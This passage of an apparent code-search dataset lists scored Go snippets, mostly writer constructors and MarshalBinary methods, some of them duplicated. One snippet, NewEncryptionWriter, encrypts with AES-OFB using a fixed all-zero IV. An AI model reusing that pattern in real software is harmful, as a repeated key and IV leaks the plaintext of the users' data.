w}\n\tchecksumWriter.buf = make([]byte, checksumBlockSize)\n\tchecksumWriter.payload = checksumWriter.buf[checksumSize:]\n\tchecksumWriter.payloadUsed = 0\n\treturn checksumWriter\n}", "title": "" }, { "docid": "21837dd6b974577917d90f89559f7bd9", "score": "0.5835715", "text": "func NewWriter(w io.Writer) Writer {\n\treturn &writer{w}\n}", "title": "" }, { "docid": "ffad326536a4239a8780da6a0f6571ae", "score": "0.5833271", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{w: bufio.NewWriter(w)}\n}", "title": "" }, { "docid": "d9c1ba3e8f8fa1bc7c9a10ec7d59ba26", "score": "0.58172005", "text": "func NewWriter(w io.Writer) *Writer {\r\n\treturn &Writer{W: w}\r\n}", "title": "" }, { "docid": "771868f62160d7c78397a8ad6e044663", "score": "0.5813669", "text": "func NewEncoder(w io.Writer) *Encoder { return &Encoder{w: w} }", "title": "" }, { "docid": "14404ff9e0b3a4e4f3b38b2a154bd516", "score": "0.5808538", "text": "func New(w io.Writer) OutputWriter {\n\treturn OutputWriter{\n\t\tw: w,\n\t}\n}", "title": "" }, { "docid": "71c15bb5fe09ff3e623ec2b59ac1da9e", "score": "0.5800394", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{w: w}\n}", "title": "" }, { "docid": "71c15bb5fe09ff3e623ec2b59ac1da9e", "score": "0.5800394", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{w: w}\n}", "title": "" }, { "docid": "71c15bb5fe09ff3e623ec2b59ac1da9e", "score": "0.5800394", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{w: w}\n}", "title": "" }, { "docid": "354029005d9c6584b6cbdd654da3647d", "score": "0.579298", "text": "func NewWriter(w io.Writer) (*Writer, error) {\n\tarchive := zip.NewWriter(w)\n\t// Create an entry for the root directory, which must be first.\n\troot := &zip.FileHeader{\n\t\tName: \"root/\",\n\t\tComment: \"kzip root directory\",\n\t}\n\troot.SetMode(os.ModeDir | 0755)\n\troot.SetModTime(time.Now())\n\tif _, err := archive.CreateHeader(root); err != nil {\n\t\treturn nil, err\n\t}\n\tarchive.SetComment(\"Kythe kzip archive\")\n\n\treturn &Writer{\n\t\tzip: archive,\n\t\tfd: make(map[string]bool),\n\t\tud: make(map[string]bool),\n\t}, nil\n}", "title": "" }, { "docid": "9c4b37a15b5f505b0ea4965ad846c617", "score": "0.5780011", "text": "func NewEncoder(w io.Writer) io.Writer {\n\treturn &encoder{w: w}\n}", "title": "" }, { "docid": "9c4b37a15b5f505b0ea4965ad846c617", "score": "0.5780011", "text": "func NewEncoder(w io.Writer) io.Writer {\n\treturn &encoder{w: w}\n}", "title": "" }, { "docid": "0dbbf7fb893e2a9dc31f7f361315e0da", "score": "0.5775994", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn NewWriterSize(w, defaultBufSize)\n}", "title": "" }, { "docid": "c462d13b38dd675d9d24dc68a5e87af6", "score": "0.577328", "text": "func NewWriter(w io.Writer, prec, width int, header bool) *Writer {\n\tgw := gff.NewWriter(w, width, header)\n\tgw.Precision = prec\n\treturn &Writer{\n\t\tw: gw,\n\t\tt: &gff.Feature{Source: \"pals\", Feature: \"hit\"},\n\t}\n}", "title": "" }, { "docid": "3846384488a0ea63732358a81163d9a1", "score": "0.57732654", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{w}\n}", "title": "" }, { "docid": "7374a349441d26b086cd6d5f537eef4d", "score": "0.5772087", "text": "func NewWriter(wr io.Writer, offset int64) *Writer {\n\treturn &Writer{wr: wr, off: offset, scratch: make([]byte, Blocksz)}\n}", "title": "" }, { "docid": "03a3d5a187d01537c21b8fd3e02268db", "score": "0.5762936", "text": "func Writer(w io.Writer, endian device.Endian) binary.Writer {\n\treturn &writer{writer: w, byteOrder: byteOrder(endian)}\n}", "title": "" }, { "docid": "1caa02536775bd61ed8de6c3f4a61caa", "score": "0.5756316", "text": "func NewWriter(w io.Writer, codec *Codec) *Writer {\n\treturn &Writer{\n\t\tcodec: codec,\n\t\twriter: w,\n\t}\n}", "title": "" }, { "docid": "dca53ac76b2e8a9715f993d153c6a961", "score": "0.5755702", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{nil, w, defaultWriteCallback}\n}", "title": "" }, { "docid": "07ce6079d19dbba09f3ff005c5ccf3ee", "score": "0.57499444", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{\n\t\tw: bufio.NewWriter(w),\n\t}\n}", "title": "" }, { "docid": "07ce6079d19dbba09f3ff005c5ccf3ee", "score": "0.57499444", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{\n\t\tw: bufio.NewWriter(w),\n\t}\n}", "title": "" }, { "docid": "6c72a696d3cb4a62d5fcd550ae8f536f", "score": "0.5742452", "text": "func New() *Writer {\n\treturn &Writer{}\n}", "title": "" }, { "docid": "6c72a696d3cb4a62d5fcd550ae8f536f", "score": "0.5742452", "text": "func New() *Writer {\n\treturn &Writer{}\n}", "title": "" }, { "docid": "46cb5362bdc70fa8f64de518e694d302", "score": "0.57390237", "text": "func NewWriter(w io.Writer) *Writer {\n\tz, _ := NewWriterLevelDict(w, DefaultCompression, nil)\n\treturn z\n}", "title": "" }, { "docid": "814bef83a30a56d4a8759f17939bd6da", "score": "0.5735539", "text": "func NewEncryptionWriter(w io.Writer, key string) (io.WriteCloser, error) {\n\tutilities.NewPrinter(\"DEBUG\", \"\", \"encrypting...\")\n\tk, err := hex.DecodeString(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tc, err := aes.NewCipher(k)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tiv := make([]byte, aes.BlockSize)\n\treturn &cipher.StreamWriter{S: cipher.NewOFB(c, iv), W: w}, nil\n}", "title": "" }, { "docid": "930c212b32c54a755122ee2911adb6d4", "score": "0.57317454", "text": "func WrapWriter(w io.WriteCloser, alg string, dict []byte, bufferSize int) (io.WriteCloser, error) {\n\tif bufferSize < 0 {\n\t\treturn nil, fmt.Errorf(\"error wrapping writer: invalid buffer size of %d\", bufferSize)\n\t}\n\tswitch alg {\n\tcase pkgalg.AlgorithmBzip2:\n\t\treturn nil, &ErrWriterNotImplemented{Algorithm: alg}\n\tcase pkgalg.AlgorithmFlate:\n\t\tif len(dict) > 0 {\n\t\t\tfw, err := flate.NewWriterDict(bufio.NewWriter(w), flate.DefaultCompression, dict)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error wrapping writer using compression %q with dictionary %q: %w\", alg, string(dict), err)\n\t\t\t}\n\t\t\treturn fw, nil\n\t\t}\n\t\tfw, err := flate.NewWriter(bufio.NewWriter(w))\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error wrapping writer using compression %q: %w\", alg, err)\n\t\t}\n\t\treturn fw, nil\n\tcase pkgalg.AlgorithmGzip:\n\t\treturn gzip.NewWriter(bufio.NewWriter(w)), nil\n\tcase pkgalg.AlgorithmSnappy:\n\t\treturn snappy.NewBufferedWriter(bufio.NewWriter(w)), nil\n\tcase pkgalg.AlgorithmZip:\n\t\treturn nil, &ErrWriterNotImplemented{Algorithm: alg}\n\tcase pkgalg.AlgorithmZlib:\n\t\tif len(dict) > 0 {\n\t\t\tzw, err := zlib.NewWriterDict(bufio.NewWriter(w), dict)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error wrapping writer using compression %q with dictionary %q: %w\", alg, string(dict), err)\n\t\t\t}\n\t\t\treturn zw, nil\n\t\t}\n\t\treturn zlib.NewWriter(bufio.NewWriter(w)), nil\n\tcase pkgalg.AlgorithmNone:\n\t\tif bufferSize > 0 {\n\t\t\treturn bufio.NewWriter(w), nil\n\t\t}\n\t\treturn w, nil\n\t}\n\treturn nil, &pkgalg.ErrUnknownAlgorithm{Algorithm: alg}\n}", "title": "" }, { "docid": "200e809dae3d0e0b0482c3c1dae921ed", "score": "0.572387", "text": "func NewWriter(w io.Writer) (tw *Writer) {\n\treturn &Writer{\n\t\tw: bufio.NewWriter(w),\n\t\tline: make([]byte, 0, 256),\n\t}\n}", "title": "" }, { "docid": "e41b71b229bb9f5e59c29ae9b0ab36d5", "score": "0.570566", "text": "func NewWriter(w io.Writer) (*Writer, Error) {\n\tif _, err := io.WriteString(w, \"!<arch>\\n\"); err != nil {\n\t\treturn nil, &IOError{section: \"archive header\", err: err}\n\t}\n\treturn &Writer{w: w, stage: writeStageHeader}, nil\n}", "title": "" }, { "docid": "33d6f04a78e009d9541919ecb8a92dd2", "score": "0.56858724", "text": "func NewWriter(w io.WriteCloser, l nlog.Level) *Writer {\n\treturn &Writer{\n\t\tw: w,\n\t\tl: l,\n\t}\n}", "title": "" }, { "docid": "109b76ef4e6a50203f6bc1229a0b28d7", "score": "0.5685866", "text": "func newWriter(w io.Writer) *writer {\n\treturn &writer{\n\t\tbufio.NewWriter(w),\n\t\tmake([]byte, 0),\n\t}\n}", "title": "" }, { "docid": "90928635cbc88f7ec7e196746c7f1aae", "score": "0.56845546", "text": "func Writer(w io.Writer, bucket *Bucket) io.Writer {\n\treturn &writer{\n\t\tw: w,\n\t\tbucket: bucket,\n\t}\n}", "title": "" }, { "docid": "9d567c39901410b13f00d2d452991056", "score": "0.56819504", "text": "func NewWriter(w dns.ResponseWriter, r *dns.Msg) *Writer {\n\treturn &Writer{\n\t\tResponseWriter: w,\n\t\toriginal: r.Question[0],\n\t\tRcode: dns.RcodeSuccess,\n\t}\n}", "title": "" }, { "docid": "cec8074105b78409c6df5211d93df4c5", "score": "0.5680557", "text": "func NewWriter(w io.Writer, options ...WriterOption) (*Writer, error) {\n\tarchive := zip.NewWriter(w)\n\t// Create an entry for the root directory, which must be first.\n\troot := &zip.FileHeader{\n\t\tName: \"root/\",\n\t\tComment: \"kzip root directory\",\n\t\tModified: modifiedTime,\n\t}\n\troot.SetMode(os.ModeDir | 0755)\n\tif _, err := archive.CreateHeader(root); err != nil {\n\t\treturn nil, err\n\t}\n\tarchive.SetComment(\"Kythe kzip archive\")\n\n\tkw := &Writer{\n\t\tzip: archive,\n\t\tfd: stringset.New(),\n\t\tud: stringset.New(),\n\t\tencoding: DefaultEncoding(),\n\t}\n\tfor _, opt := range options {\n\t\topt(kw)\n\t}\n\treturn kw, nil\n}", "title": "" }, { "docid": "0bd0768c8f3425a82c95b580a8f22250", "score": "0.5676061", "text": "func createCompressWriter(w io.Writer) io.WriteCloser {\n\treturn gzip.NewWriter(&StringWriter{W: w})\n}", "title": "" }, { "docid": "806e80c0dc38a4080bddf35727ab2c7f", "score": "0.56716573", "text": "func NewWriteCloser(wc io.WriteCloser, options ...WriterOption) (*Writer, error) {\n\tw, err := NewWriter(wc, options...)\n\tif err == nil {\n\t\tw.c = wc\n\t}\n\treturn w, err\n}", "title": "" }, { "docid": "149b402f9befcb5050543b9ce85362d1", "score": "0.5669161", "text": "func NewWriter(g memio.Grower) *Writer {\n\treturn &Writer{g: g}\n}", "title": "" }, { "docid": "0154addcf1cdb5993ef333ed065f09c7", "score": "0.56625676", "text": "func NewWriter(w io.Writer, lineFormat bool) Writer {\n\tif lineFormat {\n\t\treturn &lineWriter{w}\n\t}\n\treturn delimited.NewWriter(w)\n}", "title": "" }, { "docid": "9fe83969dfdb7315a5ed1f469c6b6c75", "score": "0.56459767", "text": "func NewEncoder(enc *Encoding, w io.Writer) io.WriteCloser {\n\treturn &encoder{enc: enc, w: w}\n}", "title": "" }, { "docid": "9fe83969dfdb7315a5ed1f469c6b6c75", "score": "0.56459767", "text": "func NewEncoder(enc *Encoding, w io.Writer) io.WriteCloser {\n\treturn &encoder{enc: enc, w: w}\n}", "title": "" }, { "docid": "5171d5c97c250ec677cb5a91d88cd001", "score": "0.56357414", "text": "func newResponseWriter(compressor io.WriteCloser, rw http.ResponseWriter) responseWriter {\n\treturn responseWriter{compressor, rw}\n}", "title": "" }, { "docid": "67f5390764c5137e45f42ad96911ae3e", "score": "0.56211483", "text": "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{\n\t\tw: w,\n\t\torder: DefaultByteOrder,\n\t}\n}", "title": "" }, { "docid": "d9fda1b521012f56d7e87bf5176df0b2", "score": "0.56110346", "text": "func NewWriter() *Writer {\n\treturn &Writer{\n\t\toutput: &bytes.Buffer{},\n\t}\n}", "title": "" }, { "docid": "92442c694941d1ed779ba65341d0eacf", "score": "0.5594282", "text": "func NewWriter(w io.Writer, prefix func() string) *Writer {\n\treturn &Writer{\n\t\tprefix: prefix,\n\t\tw: w,\n\t\tshouldPrefix: true,\n\t}\n}", "title": "" }, { "docid": "06ec856dcbe8042e9dbac9db22a1f8ea", "score": "0.557103", "text": "func NewWriter(w io.Writer, protocol *Protocol) *Writer {\n\treturn &Writer{\n\t\tprotocol: protocol,\n\t\tbw: bufio.NewWriter(w),\n\t}\n}", "title": "" }, { "docid": "09638fa2454b86d41ba66ed86ae0db85", "score": "0.5570694", "text": "func NewWriterCloser(f io.Writer) *Writer {\n\treturn &Writer{w: f, data: pool.Get().([]byte), close: true}\n}", "title": "" }, { "docid": "04344f667956a6169a2d162fb18873aa", "score": "0.55666524", "text": "func New(filename string) (*Writer, error) {\n\n\tzip_file, err := os.Create(filename)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Writer{zip_writer: zip.NewWriter(zip_file), output_file: zip_file, method: Deflate}, nil\n\n}", "title": "" } ]
9875b29da09e55a080b60c6c4715a950
MarshalBinary implements the encoding.BinaryMarshaler interface. It returns Addr.MarshalBinary with an additional byte appended containing the prefix bits.
[ { "docid": "686add112dac47db2676d25013c2212e", "score": "0.7913672", "text": "func (p Prefix) MarshalBinary() ([]byte, error) {\n\tb := p.Addr().withoutZone().marshalBinaryWithTrailingBytes(1)\n\tb[len(b)-1] = uint8(p.Bits())\n\treturn b, nil\n}", "title": "" } ]
[ { "docid": "245ab8f81346159b574d26b494073e06", "score": "0.66829586", "text": "func (ip Addr) MarshalBinary() ([]byte, error) {\n\treturn ip.marshalBinaryWithTrailingBytes(0), nil\n}", "title": "" }, { "docid": "720c861a4f9d4d61ce34bb7b89ca2baa", "score": "0.6540688", "text": "func (p AddrPort) MarshalBinary() ([]byte, error) {\n\tb := p.Addr().marshalBinaryWithTrailingBytes(2)\n\tlePutUint16(b[len(b)-2:], p.Port())\n\treturn b, nil\n}", "title": "" }, { "docid": "4313200cc5649a15733cb90d6c323753", "score": "0.649274", "text": "func (a Address) MarshalBinary() ([]byte, error) {\n\tif !a.Type.IsValid() {\n\t\treturn nil, ErrUnknownAddressType\n\t}\n\tif a.Type == AddressTypeContract {\n\t\tbuf := append([]byte{01}, a.Hash...)\n\t\tbuf = append(buf, byte(0)) // padding\n\t\treturn buf, nil\n\t}\n\treturn append([]byte{00, a.Type.Tag()}, a.Hash...), nil\n}", "title": "" }, { "docid": "1b2048da8306814481836098b303bfd9", "score": "0.64471704", "text": "func (jn JoinNonce) MarshalBinary() ([]byte, error) { return marshalBinaryBytes(jn[:]) }", "title": "" }, { "docid": "5492ad15d191179c97d2824e760ca94d", "score": "0.6180283", "text": "func (n *Namespace) MarshalBinary() (data []byte, err error) {\n\tdata = append([]byte{}, n[:]...)\n\treturn\n}", "title": "" }, { "docid": "7578d2b08925fc815c88e0e2215214ff", "score": "0.60446864", "text": "func (e *UnicastMasterEntry) MarshalBinary() ([]byte, error) {\n\tvar bytes bytes.Buffer\n\tif err := binary.Write(&bytes, binary.BigEndian, e.PortIdentity); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(&bytes, binary.BigEndian, e.ClockQuality); err != nil {\n\t\treturn nil, err\n\t}\n\tvar selectedBin uint8\n\tif e.Selected {\n\t\tselectedBin = 1\n\t}\n\tif err := binary.Write(&bytes, binary.BigEndian, selectedBin); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(&bytes, binary.BigEndian, e.PortState); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(&bytes, binary.BigEndian, e.Priority1); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(&bytes, binary.BigEndian, e.Priority2); err != nil {\n\t\treturn nil, err\n\t}\n\tvar pa PortAddress\n\tasIPv4 := e.Address.To4()\n\tif asIPv4 != nil {\n\t\tpa = PortAddress{\n\t\t\tNetworkProtocol: TransportTypeUDPIPV4,\n\t\t\tAddressLength: 4,\n\t\t\tAddressField: asIPv4,\n\t\t}\n\t} else {\n\t\tpa = PortAddress{\n\t\t\tNetworkProtocol: TransportTypeUDPIPV6,\n\t\t\tAddressLength: 16,\n\t\t\tAddressField: e.Address,\n\t\t}\n\t}\n\tportBytes, err := pa.MarshalBinary()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(&bytes, binary.BigEndian, portBytes); err != nil {\n\t\treturn nil, err\n\t}\n\treturn bytes.Bytes(), nil\n}", "title": "" }, { "docid": "f9dc7cc9684a05d4090977bfce12a448", "score": "0.59936976", "text": "func (p *PortAddress) MarshalBinary() ([]byte, error) {\n\tvar bytes bytes.Buffer\n\tif err := binary.Write(&bytes, binary.BigEndian, p.NetworkProtocol); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(&bytes, binary.BigEndian, p.AddressLength); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(&bytes, binary.BigEndian, p.AddressField); err != nil {\n\t\treturn nil, err\n\t}\n\treturn bytes.Bytes(), nil\n}", "title": "" }, { "docid": "85a350d833eda8e48c24aecfa1d70d57", "score": "0.59354615", "text": "func (adr FsAddress) MarshalJSON() ([]byte, error) {\n\treturn adr.payload().MarshalJSONPrefix(adr.PrefixBytes())\n}", "title": "" }, { "docid": "746aaa1d052b7e3ed59c74f954d6dbf4", "score": "0.59092164", "text": "func (adr FAAddress) MarshalJSON() ([]byte, error) {\n\treturn adr.payload().MarshalJSONPrefix(adr.PrefixBytes())\n}", "title": "" }, { "docid": "c048e1fab249d43b720a5429a16fe912", "score": "0.582879", "text": "func (p *Signaling) MarshalBinary() ([]byte, error) {\n\tbuf := make([]byte, 508)\n\tn, err := p.MarshalBinaryTo(buf)\n\treturn buf[:n], err\n}", "title": "" }, { "docid": "64a561199881053a25b83d426fb02676", "score": "0.5763226", "text": "func (p *PortID) MarshalBinary() ([]byte, error) {\n\t// 1 byte: subtype\n\t// N bytes: ID\n\tb := make([]byte, 1+len(p.ID))\n\tb[0] = byte(p.Subtype)\n\tcopy(b[1:], p.ID)\n\n\treturn b, nil\n}", "title": "" }, { "docid": "737eacc946eca43dbe38f45cad27479a", "score": "0.5723587", "text": "func (b *Binary) Marshal() ([]byte, error) {\n\t// Calculate size of serialized data\n\tbufferSize := 2 + 1 // Signature and message ID\n\n\t// sequence is a 2-byte integer\n\tbufferSize += 2\n\n\t// Flags is a block of [4]byte\n\tbufferSize += 4\n\n\t// PublicKey is a block of []byte with one byte length\n\tbufferSize += 1 + len(b.PublicKey)\n\t// ZUUID_LEN == 16\n\tbufferSize += 16\n\n\t// Now serialize the message\n\ttmpBuf := make([]byte, bufferSize)\n\ttmpBuf = tmpBuf[:0]\n\tbuffer := bytes.NewBuffer(tmpBuf)\n\tbinary.Write(buffer, binary.BigEndian, Signature)\n\tbinary.Write(buffer, binary.BigEndian, BinaryID)\n\n\t// sequence\n\tbinary.Write(buffer, binary.BigEndian, b.sequence)\n\n\t// Flags\n\tbinary.Write(buffer, binary.BigEndian, b.Flags[:4])\n\n\tputBytes(buffer, b.PublicKey)\n\n\t// ZUUID_LEN == 16\n\tbinary.Write(buffer, binary.BigEndian, b.Identifier[:16])\n\n\treturn buffer.Bytes(), nil\n}", "title": "" }, { "docid": "1fc2dbf5eab98b1a6902aeb7b0cfbe9e", "score": "0.57209855", "text": "func (rle RLE) MarshalBinary() ([]byte, error) {\n\tbuf := make([]byte, 16)\n\tbinary.LittleEndian.PutUint32(buf[0:4], uint32(rle.start[0]))\n\tbinary.LittleEndian.PutUint32(buf[4:8], uint32(rle.start[1]))\n\tbinary.LittleEndian.PutUint32(buf[8:12], uint32(rle.start[2]))\n\tbinary.LittleEndian.PutUint32(buf[12:16], uint32(rle.length))\n\treturn buf, nil\n}", "title": "" }, { "docid": "3dc4541f9f9c8c73e4c4091cb370caf0", "score": "0.5703161", "text": "func (nv NameVersion) MarshalBinary() ([]byte, error) {\n\treturn []byte(nv), nil\n}", "title": "" }, { "docid": "a1532eab77786b062dec2a3ec7457ef2", "score": "0.56988287", "text": "func (adr EsAddress) MarshalJSON() ([]byte, error) {\n\treturn adr.payload().MarshalJSONPrefix(adr.PrefixBytes())\n}", "title": "" }, { "docid": "119d424e64df7f96d4ad4df474926137", "score": "0.56869006", "text": "func (i *Nat) MarshalBinary() ([]byte, error) {\n\treturn i.Bytes(), nil\n}", "title": "" }, { "docid": "0f70eb34d1d077fb1d42c94838059fba", "score": "0.56600624", "text": "func (n NNI) MarshalBinary() (wire []byte, e error) {\n\tswitch {\n\tcase n <= math.MaxUint8:\n\t\treturn []byte{byte(n)}, nil\n\tcase n <= math.MaxUint16:\n\t\treturn []byte{byte(n >> 8), byte(n)}, nil\n\tcase n <= math.MaxUint32:\n\t\treturn []byte{byte(n >> 24), byte(n >> 16), byte(n >> 8), byte(n)}, nil\n\tdefault:\n\t\treturn []byte{byte(n >> 56), byte(n >> 48), byte(n >> 40), byte(n >> 32),\n\t\t\tbyte(n >> 24), byte(n >> 16), byte(n >> 8), byte(n)}, nil\n\t}\n}", "title": "" }, { "docid": "f32956d0cc14f6ed42fa1895a11e6fb6", "score": "0.56592435", "text": "func (r *ServerResponse) MarshalBinary() ([]byte, error) {\n\tbuffer := new(bytes.Buffer)\n\tif err := binary.Write(buffer, binary.BigEndian, r.Version); err != nil {\n\t\treturn nil, err\n\t}\n\tif _, err := buffer.Write(r.EvaluatedElement); err != nil {\n\t\treturn nil, err\n\t}\n\tif _, err := buffer.Write(r.BucketContents); err != nil {\n\t\treturn nil, err\n\t}\n\treturn buffer.Bytes(), nil\n}", "title": "" }, { "docid": "bd5570a79f66d43dc62ed4ff0e59dcf5", "score": "0.56315523", "text": "func (ba ByteArray) MarshalBinary() ([]byte, error) {\n\tbuf := new(bytes.Buffer)\n\tbuf.Write(MarshalSimpleType(uint32(len(ba))))\n\tbuf.Write([]byte(ba))\n\treturn buf.Bytes(), nil\n}", "title": "" }, { "docid": "da0a616d4a32a5b8d289c137ccd8897a", "score": "0.5627407", "text": "func (id ID) MarshalBinary() (data []byte, err error) {\n\tsuffix := id.id[idByteLen-1]\n\tif suffix != idSuffix && suffix != pubIDSuffix {\n\t\treturn nil, InvalidIDError{id.String()}\n\t}\n\treturn id.id[:], nil\n}", "title": "" }, { "docid": "f37e05986b79392bfbea82cc72176d49", "score": "0.5604949", "text": "func (adr ECAddress) MarshalJSON() ([]byte, error) {\n\treturn adr.payload().MarshalJSONPrefix(adr.PrefixBytes())\n}", "title": "" }, { "docid": "44385bb7ceec8c79e287b5872d4df078", "score": "0.55749017", "text": "func (o *addressBase) MarshalBinary() ([]byte, error) {\n\tbuf := new(bytes.Buffer)\n\tencoder := gob.NewEncoder(buf)\n\n\tif err := encoder.Encode(o.id); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := encoder.Encode(o.idIsValid); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := encoder.Encode(o.idIsDirty); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := encoder.Encode(o.personID); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := encoder.Encode(o.personIDIsValid); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := encoder.Encode(o.personIDIsDirty); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif o.oPerson == nil {\n\t\tif err := encoder.Encode(false); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else {\n\t\tif err := encoder.Encode(true); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif err := encoder.Encode(o.oPerson); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tif err := encoder.Encode(o.street); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := encoder.Encode(o.streetIsValid); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := encoder.Encode(o.streetIsDirty); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := encoder.Encode(o.city); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := encoder.Encode(o.cityIsNull); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := encoder.Encode(o.cityIsValid); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := encoder.Encode(o.cityIsDirty); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif o._aliases == nil {\n\t\tif err := encoder.Encode(false); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else {\n\t\tif err := encoder.Encode(true); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif err := encoder.Encode(o._aliases); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif err := encoder.Encode(o._restored); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := encoder.Encode(o._originalPK); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn buf.Bytes(), nil\n}", "title": "" }, { "docid": "1987f9a03756d0972685542e37278ecf", "score": "0.5571511", "text": "func (e *ExtensionPair) MarshalBinary() ([]byte, error) {\n\tbuf := NewBuffer(make([]byte, 0, e.Len()))\n\te.MarshalInto(buf)\n\treturn buf.Bytes(), nil\n}", "title": "" }, { "docid": "32dce1cf0c353f5758f0d5a38b873f74", "score": "0.5563857", "text": "func (p Prefix) MarshalText() ([]byte, error) {\n\tvar max int\n\tswitch p.ip.z {\n\tcase z0:\n\tcase z4:\n\t\tmax = len(\"255.255.255.255/32\")\n\tdefault:\n\t\tmax = len(\"ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff%enp5s0/128\")\n\t}\n\tb := make([]byte, 0, max)\n\tb = p.AppendTo(b)\n\treturn b, nil\n}", "title": "" }, { "docid": "9c5cca8b9b3405ac33d8e76d15f60344", "score": "0.55573505", "text": "func (d *indirectIndex) MarshalBinary() ([]byte, error) {\n\td.mu.RLock()\n\tdefer d.mu.RUnlock()\n\n\treturn d.b, nil\n}", "title": "" }, { "docid": "76c6dc1f3f28951a250eafc216a9f29d", "score": "0.5555528", "text": "func (e appEntry) MarshalBinary() ([]byte, error) {\n\trw := readwriter.New(nil)\n\trw.Write(e.AppEUI)\n\trw.Write(e.Dialer.MarshalSafely())\n\treturn rw.Bytes()\n}", "title": "" }, { "docid": "7f6173564714cce0e6a355b8a39a0d3b", "score": "0.5546342", "text": "func (idr *idRequest) MarshalBinary() ([]byte, error) {\n\t// We know the length has a known minimum and maximum length, so we set the length to the minimum, and the capacity to the maximum.\n\toutput := make([]byte, 0, maxIDRequestLen)\n\n\toutput = append(output, []byte(idr.Sender)...)\n\toutput = append(output, byte('-'))\n\toutput = append(output, []byte(idr.Receiver)...)\n\n\treturn output, nil\n}", "title": "" }, { "docid": "a9d14da41cc45bcd8975ccf4268c042d", "score": "0.55426556", "text": "func (receiver Kernel) MarshalBinary() ([]byte, error) {\n\tif nothing() == receiver {\n\t\treturn nil, errNothing\n\t}\n\n\t// Note that since this does NOT have a pointer-receiever, and is a copy,\n\t// that returning the value of receiver.slice() is OK,\n\t// as the slice does NOT point to the original memory.\n\n\treturn receiver.slice(), nil\n}", "title": "" }, { "docid": "169b63c95d3715b4f64119f08bffbcbf", "score": "0.5500814", "text": "func (op *OptIAPrefix) ToBytes() []byte {\n\tbuf := uio.NewBigEndianBuffer(nil)\n\tbuf.Write32(op.PreferredLifetime)\n\tbuf.Write32(op.ValidLifetime)\n\tbuf.Write8(op.prefixLength)\n\tbuf.WriteBytes(op.ipv6Prefix.To16())\n\tbuf.WriteBytes(op.Options.ToBytes())\n\treturn buf.Data()\n}", "title": "" }, { "docid": "d23f69355ed0d346888493e1e7a2d4e4", "score": "0.54995996", "text": "func (p Prefix) MarshalXML(e *xml.Encoder, startElement xml.StartElement) error {\n\tif !p.set {\n\t\treturn nil\n\t}\n\treturn e.EncodeElement(p.string, startElement)\n}", "title": "" }, { "docid": "2b8469713c593f850db04d65adf7a56d", "score": "0.54900527", "text": "func (a *Atom) MarshalBinary() ([]byte, error) {\n\tbuf := new(bytes.Buffer)\n\terr := a.BinaryWrite(buf)\n\treturn buf.Bytes(), err\n}", "title": "" }, { "docid": "614c87ffb82245bd6c803db0a68038e2", "score": "0.54852676", "text": "func (jn JoinNonce) Marshal() ([]byte, error) { return jn.MarshalBinary() }", "title": "" }, { "docid": "e183d7a176620eb8f7b4d80abda56228", "score": "0.54777896", "text": "func (r *ReplyGetattrV2) MarshalBinary() ([]byte, error) {\n\treturn MarshalBinary(&r.Reply, &r.Attr, &r.SymlinkTarget)\n}", "title": "" }, { "docid": "0c8a1ebb7aaf5e64f3ac9e9740314b7a", "score": "0.5459195", "text": "func ToPrefixed(ns []Nibble, isLeafNode bool) []Nibble {\n\t// create prefix\n\tvar prefixBytes []Nibble\n\t// odd number of nibbles\n\tif len(ns)%2 > 0 {\n\t\tprefixBytes = []Nibble{1}\n\t} else {\n\t\t// even number of nibbles\n\t\tprefixBytes = []Nibble{0, 0}\n\t}\n\n\t// append prefix to all nibble bytes\n\tprefixed := make([]Nibble, 0, len(prefixBytes)+len(ns))\n\tprefixed = append(prefixed, prefixBytes...)\n\tfor _, n := range ns {\n\t\tprefixed = append(prefixed, Nibble(n))\n\t}\n\n\t// update prefix if is leaf node\n\tif isLeafNode {\n\t\tprefixed[0] += 2\n\t}\n\n\treturn prefixed\n}", "title": "" }, { "docid": "9b29bb54f0f474464a2c91f53304fffe", "score": "0.54491407", "text": "func (u UUID) 